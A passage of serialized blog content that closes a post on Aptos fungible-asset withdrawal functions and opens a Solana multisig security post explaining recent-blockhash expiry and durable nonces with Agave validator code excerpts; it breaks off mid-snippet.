re-registration.",{"type":24,"tag":59,"props":68797,"children":68798},{"id":30191},[68799],{"type":29,"value":20189},{"type":24,"tag":25,"props":68801,"children":68802},{},[68803,68805,68810],{"type":29,"value":68804},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":24,"tag":154,"props":68806,"children":68808},{"className":68807},[],[68809],{"type":29,"value":62240},{"type":29,"value":347},{"type":24,"tag":25,"props":68812,"children":68813},{},[68814],{"type":29,"value":68815},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":24,"tag":25,"props":68817,"children":68818},{},[68819,68821],{"type":29,"value":68820},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":24,"tag":16709,"props":68822,"children":68823},{},[68824],{"type":24,"tag":101,"props":68825,"children":68827},{"href":30883,"ariaDescribedBy":68826,"dataFootnoteRef":7,"id":30885},[16716],[68828],{"type":29,"value":5672},{"type":24,"tag":19662,"props":68830,"children":68832},{"className":68831,"dataFootnotes":7},[19665],[68833,68838],{"type":24,"tag":59,"props":68834,"children":68836},{"className":68835,"id":16716},[19670],[68837],{"type":29,"value":19673},{"type":24,"tag":1786,"props":68839,"children":68840},{},[68841],{"type":24,"tag":1790,"props":68842,"children":68843},{"id":31626},[68844,68846,68888],{"type":29,"value":68845},"There are at least four functions that can withdraw a fungible asset:",{"type":24,"tag":17924,"props":68847,"children":68848},{},[68849,68859,68868,68878],{"type":24,"tag":1790,"props":68850,"children":68851},{},[68852],{"type":24,"tag":101,"props":68853,"children":68857},{"href":68854,"rel":68855,":style":68856},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[105],"color: #007bff;",[68858],{"type":29,"value":65541},{"type":24,"tag":1790,"props":68860,"children":68861},{},[68862],{"type":24,"tag":101,"props":68863,"children":68866},{"href":68864,"rel":68865,":style":68856},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[105],[68867],{"type":29,"value":67481},{"type":24,"tag":1790,"props":68869,"children":68870},{},[68871],{"type":24,"tag":101,"props":68872,"children":68875},{"href":68873,"rel":68874,":style":68856},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[105],[68876],{"type":29,"value":68877},"primary_fungible_store::withdraw",{"type":24,"tag":1790,"props":68879,"children":68880},{},[68881],{"type":24,"tag":101,"props":68882,"children":68885},{"href":68883,"rel":68884,":style":68856},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[105],[68886],{"type":29,"value":68887},"coin::withdraw",{"type":24,"tag":101,"props":68889,"children":68891},{"href":31654,"ariaLabel":19776,"className":68890,"dataFootnoteBackref":7},[19778],[68892],{"type":29,"value":19781},{"type":24,"tag":4517,"props":68894,"children":68895},{},[68896],{"type":29,"value":4521},{"title":7,"searchDepth":213,"depth":213,"links":68898},[68899,68900,68901,68904,68909,68910,68911,68912],{"id":62226,"depth":213,"text":62229},{"id":62771,"depth":213,"text":62774},{"id":63331,"depth":213,"text":63334,"children":68902},[68903],{"id":63842,"depth":238,"text":63845},{"id":64099,"depth":213,"text":64102,"children":68905},[68906,68907,68908],{"id":64142,"depth":238,"text":64145},{"id":64847,"depth":238,"text":64850},{"id":66505,"depth":238,"text":66508},{"id":67036,"depth":213,"text":67039},{"id":68017,"depth":213,"text":68020},{"id":30191,"depth":213,"text":20189},{"id":16716,"depth":213,"text":19673},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":68917,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":68918,"description":68919,"date":68920,"author":10,"image":68921,"isFeatured":16,"onBlogPage":16,"tags":68923,"body":68924,"_type":4536,"_id":70752,"_source":4538,"_file":70753,"_stem":70754,"_extension":4541},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":68922,"width":7040,"height":7041},"/posts/multisig-security/title.png",[4553],{"type":21,"children":68925,"toc":70743},[68926,68939,68945,68950,68956,68969,68977,68990,69050,69072,69199,69204,69217,69229,69235,69249,69262,69276,69758,69763,69771,69785,69799,69938,69950,69956,69961,69979,69984,69989,70010,70294,70309,70497,70510,70639,70644,70649,70654,70682,70688,70693,70707,70739],{"type":24,"tag":25,"props":68927,"children":68928},{},[68929,68930,68937],{"type":29,"value":17850},{"type":24,"tag":101,"props":68931,"children":68934},{"href":68932,"rel":68933},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[105],[68935],{"type":29,"value":68936},"Bybit hack",{"type":29,"value":68938}," raises an interesting question: what can teams do if their signers are compromised?",{"type":24,"tag":59,"props":68940,"children":68942},{"id":68941},"solana-signatures",[68943],{"type":29,"value":68944},"Solana Signatures",{"type":24,"tag":25,"props":68946,"children":68947},{},[68948],{"type":29,"value":68949},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":24,"tag":395,"props":68951,"children":68953},{"id":68952},"recent-blockhash",[68954],{"type":29,"value":68955},"Recent Blockhash",{"type":24,"tag":25,"props":68957,"children":68958},{},[68959,68961,68968],{"type":29,"value":68960},"The most straightforward is with a \"recent blockhash\". From ",{"type":24,"tag":101,"props":68962,"children":68965},{"href":68963,"rel":68964},"https://solana.com/developers/guides/advanced/confirmation",[105],[68966],{"type":29,"value":68967},"the docs",{"type":29,"value":225},{"type":24,"tag":4606,"props":68970,"children":68971},{},[68972],{"type":24,"tag":25,"props":68973,"children":68974},{},[68975],{"type":29,"value":68976},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":24,"tag":25,"props":68978,"children":68979},{},[68980,68982,68989],{"type":29,"value":68981},"The actual constant ",{"type":24,"tag":101,"props":68983,"children":68986},{"href":68984,"rel":68985},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[105],[68987],{"type":29,"value":68988},"is defined here",{"type":29,"value":347},{"type":24,"tag":147,"props":68991,"children":68993},{"className":151,"code":68992,"language":150,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[68994],{"type":24,"tag":154,"props":68995,"children":68996},{"__ignoreMap":7},[68997,69005],{"type":24,"tag":158,"props":68998,"children":68999},{"class":160,"line":161},[69000],{"type":24,"tag":158,"props":69001,"children":69002},{"style":2588},[69003],{"type":29,"value":69004},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":24,"tag":158,"props":69006,"children":69007},{"class":160,"line":213},[69008,69012,69016,69021,69025,69029,69033,69038,69042,69046],{"type":24,"tag":158,"props":69009,"children":69010},{"style":165},[69011],{"type":29,"value":14924},{"type":24,"tag":158,"props":69013,"children":69014},{"style":165},[69015],{"type":29,"value":40375},{"type":24,"tag":158,"props":69017,"children":69018},{"style":188},[69019],{"type":29,"value":69020}," MAX_PROCESSING_AGE",{"type":24,"tag":158,"props":69022,"children":69023},{"style":222},[69024],{"type":29,"value":225},{"type":24,"tag":158,"props":69026,"children":69027},{"style":171},[69028],{"type":29,"value":14965},{"type":24,"tag":158,"props":69030,"children":69031},{"style":222},[69032],{"type":29,"value":462},{"type":24,"tag":158,"props":69034,"children":69035},{"style":188},[69036],{"type":29,"value":69037}," MAX_RECENT_BLOCKHASHES ",{"type":24,"tag":158,"props":69039,"children":69040},{"style":222},[69041],{"type":29,"value":6238},{"type":24,"tag":158,"props":69043,"children":69044},{"style":465},[69045],{"type":29,"value":9573},{"type":24,"tag":158,"props":69047,"children":69048},{"style":188},[69049],{"type":29,"value":473},{"type":24,"tag":25,"props":69051,"children":69052},{},[69053,69055,69062,69064,69070],{"type":29,"value":69054},"For those curious, the logic ",{"type":24,"tag":101,"props":69056,"children":69059},{"href":69057,"rel":69058},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[105],[69060],{"type":29,"value":69061},"starts here",{"type":29,"value":69063}," and is quite straightforward to follow, ending in a ",{"type":24,"tag":154,"props":69065,"children":69067},{"className":69066},[],[69068],{"type":29,"value":69069},"is_hash_index_valid",{"type":29,"value":69071}," check.",{"type":24,"tag":147,"props":69073,"children":69075},{"className":151,"code":69074,"language":150,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n last_hash_index - hash_index \u003C= max_age as u64\n}\n",[69076],{"type":24,"tag":154,"props":69077,"children":69078},{"__ignoreMap":7},[69079,69158,69192],{"type":24,"tag":158,"props":69080,"children":69081},{"class":160,"line":161},[69082,69086,69091,69095,69100,69104,69108,69112,69117,69121,69125,69129,69134,69138,69142,69146,69150,69154],{"type":24,"tag":158,"props":69083,"children":69084},{"style":165},[69085],{"type":29,"value":21510},{"type":24,"tag":158,"props":69087,"children":69088},{"style":496},[69089],{"type":29,"value":69090}," is_hash_index_valid",{"type":24,"tag":158,"props":69092,"children":69093},{"style":188},[69094],{"type":29,"value":504},{"type":24,"tag":158,"props":69096,"children":69097},{"style":177},[69098],{"type":29,"value":69099},"last_hash_index",{"type":24,"tag":158,"props":69101,"children":69102},{"style":222},[69103],{"type":29,"value":225},{"type":24,"tag":158,"props":69105,"children":69106},{"style":171},[69107],{"type":29,"value":230},{"type":24,"tag":158,"props":69109,"children":69110},{"style":188},[69111],{"type":29,"value":191},{"type":24,"tag":158,"props":69113,"children":69114},{"style":177},[69115],{"type":29,"value":69116},"max_age",{"type":24,"tag":158,"props":69118,"children":69119},{"style":222},[69120],{"type":29,"value":225},{"type":24,"tag":158,"props":69122,"children":69123},{"style":171},[69124],{"type":29,"value":14965},{"type":24,"tag":158,"props":69126,"children":69127},{"style":188},[69128],{"type":29,"value":191},{"type":24,"tag":158,"props":69130,"children":69131},{"style":177},[69132],{"type":29,"value":69133},"hash_index",{"type":24,"tag":158,"props":69135,"children":69136},{"style":222},[69137],{"type":29,"value":225},{"type":24,"tag":158,"props":69139,"children":69140},{"style":171},[69141],{"type":29,"value":230},{"type":24,"tag":158,"props":69143,"children":69144},{"style":188},[69145],{"type":29,"value":723},{"type":24,"tag":158,"props":69147,"children":69148},{"style":222},[69149],{"type":29,"value":14991},{"type":24,"tag":158,"props":69151,"children":69152},{"style":171},[69153],{"type":29,"value":2928},{"type":24,"tag":158,"props":69155,"children":69156},{"style":188},[69157],{"type":29,"value":210},{"type":24,"tag":158,"props":69159,"children":69160},{"class":160,"line":213},[69161,69166,69170,69175,69179,69184,69188],{"type":24,"tag":158,"props":69162,"children":69163},{"style":177},[69164],{"type":29,"value":69165}," last_hash_index",{"type":24,"tag":158,"props":69167,"children":69168},{"style":222},[69169],{"type":29,"value":52527},{"type":24,"tag":158,"props":69171,"children":69172},{"style":177},[69173],{"type":29,"value":69174}," hash_index",{"type":24,"tag":158,"props":69176,"children":69177},{"style":222},[69178],{"type":29,"value":1989},{"type":24,"tag":158,"props":69180,"children":69181},{"style":177},[69182],{"type":29,"value":69183}," max_age",{"type":24,"tag":158,"props":69185,"children":69186},{"style":165},[69187],{"type":29,"value":2231},{"type":24,"tag":158,"props":69189,"children":69190},{"style":171},[69191],{"type":29,"value":4091},{"type":24,"tag":158,"props":69193,"children":69194},{"class":160,"line":238},[69195],{"type":24,"tag":158,"props":69196,"children":69197},{"style":188},[69198],{"type":29,"value":307},{"type":24,"tag":25,"props":69200,"children":69201},{},[69202],{"type":29,"value":69203},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":24,"tag":4606,"props":69205,"children":69206},{},[69207],{"type":24,"tag":25,"props":69208,"children":69209},{},[69210,69212],{"type":29,"value":69211},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":24,"tag":897,"props":69213,"children":69214},{},[69215],{"type":29,"value":69216},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":24,"tag":25,"props":69218,"children":69219},{},[69220,69222,69227],{"type":29,"value":69221},"This means an attacker ",{"type":24,"tag":32,"props":69223,"children":69224},{},[69225],{"type":29,"value":69226},"must use",{"type":29,"value":69228}," a malicious signed transaction within a short timeframe.",{"type":24,"tag":395,"props":69230,"children":69232},{"id":69231},"durable-nonce",[69233],{"type":29,"value":69234},"Durable Nonce",{"type":24,"tag":25,"props":69236,"children":69237},{},[69238,69240,69247],{"type":29,"value":69239},"The second type of signature ",{"type":24,"tag":101,"props":69241,"children":69244},{"href":69242,"rel":69243},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[105],[69245],{"type":29,"value":69246},"is a durable nonce",{"type":29,"value":69248},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":24,"tag":4606,"props":69250,"children":69251},{},[69252],{"type":24,"tag":25,"props":69253,"children":69254},{},[69255,69257],{"type":29,"value":69256},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":24,"tag":897,"props":69258,"children":69259},{},[69260],{"type":29,"value":69261},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":24,"tag":25,"props":69263,"children":69264},{},[69265,69267,69274],{"type":29,"value":69266},"If we examine the code ",{"type":24,"tag":101,"props":69268,"children":69271},{"href":69269,"rel":69270},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[105],[69272],{"type":29,"value":69273},"for recent blockhash validation",{"type":29,"value":69275},", we can also see the handling for durable nonces.",{"type":24,"tag":147,"props":69277,"children":69279},{"className":151,"code":69278,"language":150,"meta":7,"style":7}," let recent_blockhash = tx.message().recent_blockhash();\n if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n Ok(CheckedTransactionDetails {\n nonce: None,\n lamports_per_signature: hash_info.lamports_per_signature(),\n })\n } else if let Some((nonce, previous_lamports_per_signature)) = self\n .check_load_and_advance_message_nonce_account(\n tx.message(),\n next_durable_nonce,\n next_lamports_per_signature,\n )\n {\n Ok(CheckedTransactionDetails {\n nonce: Some(nonce),\n lamports_per_signature: previous_lamports_per_signature,\n })\n } else {\n error_counters.blockhash_not_found += 1;\n Err(TransactionError::BlockhashNotFound)\n }\n",[69280],{"type":24,"tag":154,"props":69281,"children":69282},{"__ignoreMap":7},[69283,69330,69396,69416,69436,69466,69474,69528,69545,69565,69577,69589,69597,69604,69623,69650,69670,69677,69692,69722,69751],{"type":24,"tag":158,"props":69284,"children":69285},{"class":160,"line":161},[69286,69290,69295,69299,69304,69308,69313,69317,69321,69326],{"type":24,"tag":158,"props":69287,"children":69288},{"style":165},[69289],{"type":29,"value":2710},{"type":24,"tag":158,"props":69291,"children":69292},{"style":177},[69293],{"type":29,"value":69294}," recent_blockhash",{"type":24,"tag":158,"props":69296,"children":69297},{"style":222},[69298],{"type":29,"value":462},{"type":24,"tag":158,"props":69300,"children":69301},{"style":177},[69302],{"type":29,"value":69303}," tx",{"type":24,"tag":158,"props":69305,"children":69306},{"style":222},[69307],{"type":29,"value":347},{"type":24,"tag":158,"props":69309,"children":69310},{"style":496},[69311],{"type":29,"value":69312},"message",{"type":24,"tag":158,"props":69314,"children":69315},{"style":188},[69316],{"type":29,"value":15113},{"type":24,"tag":158,"props":69318,"children":69319},{"style":222},[69320],{"type":29,"value":347},{"type":24,"tag":158,"props":69322,"children":69323},{"style":496},[69324],{"type":29,"value":69325},"recent_blockhash",{"type":24,"tag":158,"props":69327,"children":69328},{"style":188},[69329],{"type":29,"value":5329},{"type":24,"tag":158,"props":69331,"children":69332},{"class":160,"line":213},[69333,69337,69341,69345,69349,69354,69358,69362,69367,69371,69376,69380,69384,69388,69392],{"type":24,"tag":158,"props":69334,"children":69335},{"style":1914},[69336],{"type":29,"value":3160},{"type":24,"tag":158,"props":69338,"children":69339},{"style":165},[69340],{"type":29,"value":28562},{"type":24,"tag":158,"props":69342,"children":69343},{"style":171},[69344],{"type":29,"value":28567},{"type":24,"tag":158,"props":69346,"children":69347},{"style":188},[69348],{"type":29,"value":504},{"type":24,"tag":158,"props":69350,"children":69351},{"style":177},[69352],{"type":29,"value":69353},"hash_info",{"type":24,"tag":158,"props":69355,"children":69356},{"style":188},[69357],{"type":29,"value":723},{"type":24,"tag":158,"props":69359,"children":69360},{"style":222},[69361],{"type":29,"value":1285},{"type":24,"tag":158,"props":69363,"children":69364},{"style":177},[69365],{"type":29,"value":69366}," hash_queue",{"type":24,"tag":158,"props":69368,"children":69369},{"style":222},[69370],{"type":29,"value":347},{"type":24,"tag":158,"props":69372,"children":69373},{"style":496},[69374],{"type":29,"value":69375},"get_hash_info_if_valid",{"type":24,"tag":158,"props":69377,"children":69378},{"style":188},[69379],{"type":29,"value":504},{"type":24,"tag":158,"props":69381,"children":69382},{"style":177},[69383],{"type":29,"value":69325},{"type":24,"tag":158,"props":69385,"children":69386},{"style":188},[69387],{"type":29,"value":191},{"type":24,"tag":158,"props":69389,"children":69390},{"style":177},[69391],{"type":29,"value":69116},{"type":24,"tag":158,"props":69393,"children":69394},{"style":188},[69395],{"type":29,"value":16038},{"type":24,"tag":158,"props":69397,"children":69398},{"class":160,"line":238},[69399,69403,69407,69412],{"type":24,"tag":158,"props":69400,"children":69401},{"style":171},[69402],{"type":29,"value":16046},{"type":24,"tag":158,"props":69404,"children":69405},{"style":188},[69406],{"type":29,"value":504},{"type":24,"tag":158,"props":69408,"children":69409},{"style":171},[69410],{"type":29,"value":69411},"CheckedTransactionDetails",{"type":24,"tag":158,"props":69413,"children":69414},{"style":188},[69415],{"type":29,"value":210},{"type":24,"tag":158,"props":69417,"children":69418},{"class":160,"line":259},[69419,69424,69428,69432],{"type":24,"tag":158,"props":69420,"children":69421},{"style":177},[69422],{"type":29,"value":69423}," nonce",{"type":24,"tag":158,"props":69425,"children":69426},{"style":222},[69427],{"type":29,"value":225},{"type":24,"tag":158,"props":69429,"children":69430},{"style":171},[69431],{"type":29,"value":29015},{"type":24,"tag":158,"props":69433,"children":69434},{"style":188},[69435],{"type":29,"value":235},{"type":24,"tag":158,"props":69437,"children":69438},{"class":160,"line":280},[69439,69444,69448,69453,69457,69462],{"type":24,"tag":158,"props":69440,"children":69441},{"style":177},[69442],{"type":29,"value":69443}," lamports_per_signature",{"type":24,"tag":158,"props":69445,"children":69446},{"style":222},[69447],{"type":29,"value":225},{"type":24,"tag":158,"props":69449,"children":69450},{"style":177},[69451],{"type":29,"value":69452}," hash_info",{"type":24,"tag":158,"props":69454,"children":69455},{"style":222},[69456],{"type":29,"value":347},{"type":24,"tag":158,"props":69458,"children":69459},{"style":496},[69460],{"type":29,"value":69461},"lamports_per_signature",{"type":24,"tag":158,"props":69463,"children":69464},{"style":188},[69465],{"type":29,"value":5150},{"type":24,"tag":158,"props":69467,"children":69468},{"class":160,"line":301},[69469],{"type":24,"tag":158,"props":69470,"children":69471},{"style":188},[69472],{"type":29,"value":69473}," })\n",{"type":24,"tag":158,"props":69475,"children":69476},{"class":160,"line":626},[69477,69481,69485,69489,69493,69497,69501,69506,69510,69515,69519,69523],{"type":24,"tag":158,"props":69478,"children":69479},{"style":188},[69480],{"type":29,"value":17015},{"type":24,"tag":158,"props":69482,"children":69483},{"style":1914},[69484],{"type":29,"value":4978},{"type":24,"tag":158,"props":69486,"children":69487},{"style":1914},[69488],{"type":29,"value":17024},{"type":24,"tag":158,"props":69490,"children":69491},{"style":165},[69492],{"type":29,"value":28562},{"type":24,"tag":158,"props":69494,"children":69495},{"style":171},[69496],{"type":29,"value":28567},{"type":24,"tag":158,"props":69498,"children":69499},{"style":188},[69500],{"type":29,"value":32784},{"type":24,"tag":158,"props":69502,"children":69503},{"style":177},[69504],{"type":29,"value":69505},"nonce",{"type":24,"tag":158,"props":69507,"children":69508},{"style":188},[69509],{"type":29,"value":191},{"type":24,"tag":158,"props":69511,"children":69512},{"style":177},[69513],{"type":29,"value":69514},"previous_lamports_per_signature",{"type":24,"tag":158,"props":69516,"children":69517},{"style":188},[69518],{"type":29,"value":2240},{"type":24,"tag":158,"props":69520,"children":69521},{"style":222},[69522],{"type":29,"value":1285},{"type":24,"tag":158,"props":69524,"children":69525},{"style":165},[69526],{"type":29,"value":69527}," self\n",{"type":24,"tag":158,"props":69529,"children":69530},{"class":160,"line":668},[69531,69536,69541],{"type":24,"tag":158,"props":69532,"children":69533},{"style":222},[69534],{"type":29,"value":69535}," .",{"type":24,"tag":158,"props":69537,"children":69538},{"style":496},[69539],{"type":29,"value":69540},"check_load_and_advance_message_nonce_account",{"type":24,"tag":158,"props":69542,"children":69543},{"style":188},[69544],{"type":29,"value":2156},{"type":24,"tag":158,"props":69546,"children":69547},{"class":160,"line":676},[69548,69553,69557,69561],{"type":24,"tag":158,"props":69549,"children":69550},{"style":177},[69551],{"type":29,"value":69552}," tx",{"type":24,"tag":158,"props":69554,"children":69555},{"style":222},[69556],{"type":29,"value":347},{"type":24,"tag":158,"props":69558,"children":69559},{"style":496},[69560],{"type":29,"value":69312},{"type":24,"tag":158,"props":69562,"children":69563},{"style":188},[69564],{"type":29,"value":5150},{"type":24,"tag":158,"props":69566,"children":69567},{"class":160,"line":684},[69568,69573],{"type":24,"tag":158,"props":69569,"children":69570},{"style":177},[69571],{"type":29,"value":69572}," next_durable_nonce",{"type":24,"tag":158,"props":69574,"children":69575},{"style":188},[69576],{"type":29,"value":235},{"type":24,"tag":158,"props":69578,"children":69579},{"class":160,"line":700},[69580,69585],{"type":24,"tag":158,"props":69581,"children":69582},{"style":177},[69583],{"type":29,"value":69584}," next_lamports_per_signature",{"type":24,"tag":158,"props":69586,"children":69587},{"style":188},[69588],{"type":29,"value":235},{"type":24,"tag":158,"props":69590,"children":69591},{"class":160,"line":785},[69592],{"type":24,"tag":158,"props":69593,"children":69594},{"style":188},[69595],{"type":29,"value":69596}," )\n",{"type":24,"tag":158,"props":69598,"children":69599},{"class":160,"line":1447},[69600],{"type":24,"tag":158,"props":69601,"children":69602},{"style":188},[69603],{"type":29,"value":30446},{"type":24,"tag":158,"props":69605,"children":69606},{"class":160,"line":1509},[69607,69611,69615,69619],{"type":24,"tag":158,"props":69608,"children":69609},{"style":171},[69610],{"type":29,"value":16046},{"type":24,"tag":158,"props":69612,"children":69613},{"style":188},[69614],{"type":29,"value":504},{"type":24,"tag":158,"props":69616,"children":69617},{"style":171},[69618],{"type":29,"value":69411},{"type":24,"tag":158,"props":69620,"children":69621},{"style":188},[69622],{"type":29,"value":210},{"type":24,"tag":158,"props":69624,"children":69625},{"class":160,"line":1527},[69626,69630,69634,69638,69642,69646],{"type":24,"tag":158,"props":69627,"children":69628},{"style":177},[69629],{"type":29,"value":69423},{"type":24,"tag":158,"props":69631,"children":69632},{"style":222},[69633],{"type":29,"value":225},{"type":24,"tag":158,"props":69635,"children":69636},{"style":171},[69637],{"type":29,"value":28567},{"type":24,"tag":158,"props":69639,"children":69640},{"style":188},[69641],{"type":29,"value":504},{"type":24,"tag":158,"props":69643,"children":69644},{"style":177},[69645],{"type":29,"value":69505},{"type":24,"tag":158,"props":69647,"children":69648},{"style":188},[69649],{"type":29,"value":8382},{"type":24,"tag":158,"props":69651,"children":69652},{"class":160,"line":1545},[69653,69657,69661,69666],{"type":24,"tag":158,"props":69654,"children":69655},{"style":177},[69656],{"type":29,"value":69443},{"type":24,"tag":158,"props":69658,"children":69659},{"style":222},[69660],{"type":29,"value":225},{"type":24,"tag":158,"props":69662,"children":69663},{"style":177},[69664],{"type":29,"value":69665}," previous_lamports_per_signature",{"type":24,"tag":158,"props":69667,"children":69668},{"style":188},[69669],{"type":29,"value":235},{"type":24,"tag":158,"props":69671,"children":69672},{"class":160,"line":1618},[69673],{"type":24,"tag":158,"props":69674,"children":69675},{"style":188},[69676],{"type":29,"value":69473},{"type":24,"tag":158,"props":69678,"children":69679},{"class":160,"line":1635},[69680,69684,69688],{"type":24,"tag":158,"props":69681,"children":69682},{"style":188},[69683],{"type":29,"value":17015},{"type":24,"tag":158,"props":69685,"children":69686},{"style":1914},[69687],{"type":29,"value":4978},{"type":24,"tag":158,"props":69689,"children":69690},{"style":188},[69691],{"type":29,"value":210},{"type":24,"tag":158,"props":69693,"children":69694},{"class":160,"line":1644},[69695,69700,69704,69709,69714,69718],{"type":24,"tag":158,"props":69696,"children":69697},{"style":177},[69698],{"type":29,"value":69699}," error_counters",{"type":24,"tag":158,"props":69701,"children":69702},{"style":222},[69703],{"type":29,"value":347},{"type":24,"tag":158,"props":69705,"children":69706},{"style":188},[69707],{"type":29,"value":69708},"blockhash_not_found ",{"type":24,"tag":158,"props":69710,"children":69711},{"style":222},[69712],{"type":29,"value":69713},"+=",{"type":24,"tag":158,"props":69715,"children":69716},{"style":465},[69717],{"type":29,"value":1668},{"type":24,"tag":158,"props":69719,"children":69720},{"style":188},[69721],{"type":29,"value":473},{"type":24,"tag":158,"props":69723,"children":69724},{"class":160,"line":1652},[69725,69729,69733,69738,69742,69747],{"type":24,"tag":158,"props":69726,"children":69727},{"style":171},[69728],{"type":29,"value":16089},{"type":24,"tag":158,"props":69730,"children":69731},{"style":188},[69732],{"type":29,"value":504},{"type":24,"tag":158,"props":69734,"children":69735},{"style":171},[69736],{"type":29,"value":69737},"TransactionError",{"type":24,"tag":158,"props":69739,"children":69740},{"style":222},[69741],{"type":29,"value":2146},{"type":24,"tag":158,"props":69743,"children":69744},{"style":171},[69745],{"type":29,"value":69746},"BlockhashNotFound",{"type":24,"tag":158,"props":69748,"children":69749},{"style":188},[69750],{"type":29,"value":2125},{"type":24,"tag":158,"props":69752,"children":69753},{"class":160,"line":1704},[69754],{"type":24,"tag":158,"props":69755,"children":69756},{"style":188},[69757],{"type":29,"value":3967},{"type":24,"tag":25,"props":69759,"children":69760},{},[69761],{"type":29,"value":69762},"The documentation does a good job of explaining how they work.",{"type":24,"tag":4606,"props":69764,"children":69765},{},[69766],{"type":24,"tag":25,"props":69767,"children":69768},{},[69769],{"type":29,"value":69770},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":24,"tag":25,"props":69772,"children":69773},{},[69774,69776,69783],{"type":29,"value":69775},"Durable nonces are created and managed ",{"type":24,"tag":101,"props":69777,"children":69780},{"href":69778,"rel":69779},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[105],[69781],{"type":29,"value":69782},"by the system program",{"type":29,"value":69784},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":24,"tag":25,"props":69786,"children":69787},{},[69788,69790,69797],{"type":29,"value":69789},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":24,"tag":101,"props":69791,"children":69794},{"href":69792,"rel":69793},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[105],[69795],{"type":29,"value":69796},"based on the current blockhash",{"type":29,"value":69798},", and cannot be predicted in advance.",{"type":24,"tag":147,"props":69800,"children":69802},{"className":151,"code":69801,"language":150,"meta":7,"style":7}," let hash_queue = self.blockhash_queue.read().unwrap();\n let last_blockhash = hash_queue.last_hash();\n let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[69803],{"type":24,"tag":154,"props":69804,"children":69805},{"__ignoreMap":7},[69806,69858,69891],{"type":24,"tag":158,"props":69807,"children":69808},{"class":160,"line":161},[69809,69813,69817,69821,69825,69829,69834,69838,69842,69846,69850,69854],{"type":24,"tag":158,"props":69810,"children":69811},{"style":165},[69812],{"type":29,"value":2710},{"type":24,"tag":158,"props":69814,"children":69815},{"style":177},[69816],{"type":29,"value":69366},{"type":24,"tag":158,"props":69818,"children":69819},{"style":222},[69820],{"type":29,"value":462},{"type":24,"tag":158,"props":69822,"children":69823},{"style":165},[69824],{"type":29,"value":15031},{"type":24,"tag":158,"props":69826,"children":69827},{"style":222},[69828],{"type":29,"value":347},{"type":24,"tag":158,"props":69830,"children":69831},{"style":188},[69832],{"type":29,"value":69833},"blockhash_queue",{"type":24,"tag":158,"props":69835,"children":69836},{"style":222},[69837],{"type":29,"value":347},{"type":24,"tag":158,"props":69839,"children":69840},{"style":496},[69841],{"type":29,"value":61914},{"type":24,"tag":158,"props":69843,"children":69844},{"style":188},[69845],{"type":29,"value":15113},{"type":24,"tag":158,"props":69847,"children":69848},{"style":222},[69849],{"type":29,"value":347},{"type":24,"tag":158,"props":69851,"children":69852},{"style":496},[69853],{"type":29,"value":5324},{"type":24,"tag":158,"props":69855,"children":69856},{"style":188},[69857],{"type":29,"value":5329},{"type":24,"tag":158,"props":69859,"children":69860},{"class":160,"line":213},[69861,69865,69870,69874,69878,69882,69887],{"type":24,"tag":158,"props":69862,"children":69863},{"style":165},[69864],{"type":29,"value":2710},{"type":24,"tag":158,"props":69866,"children":69867},{"style":177},[69868],{"type":29,"value":69869}," 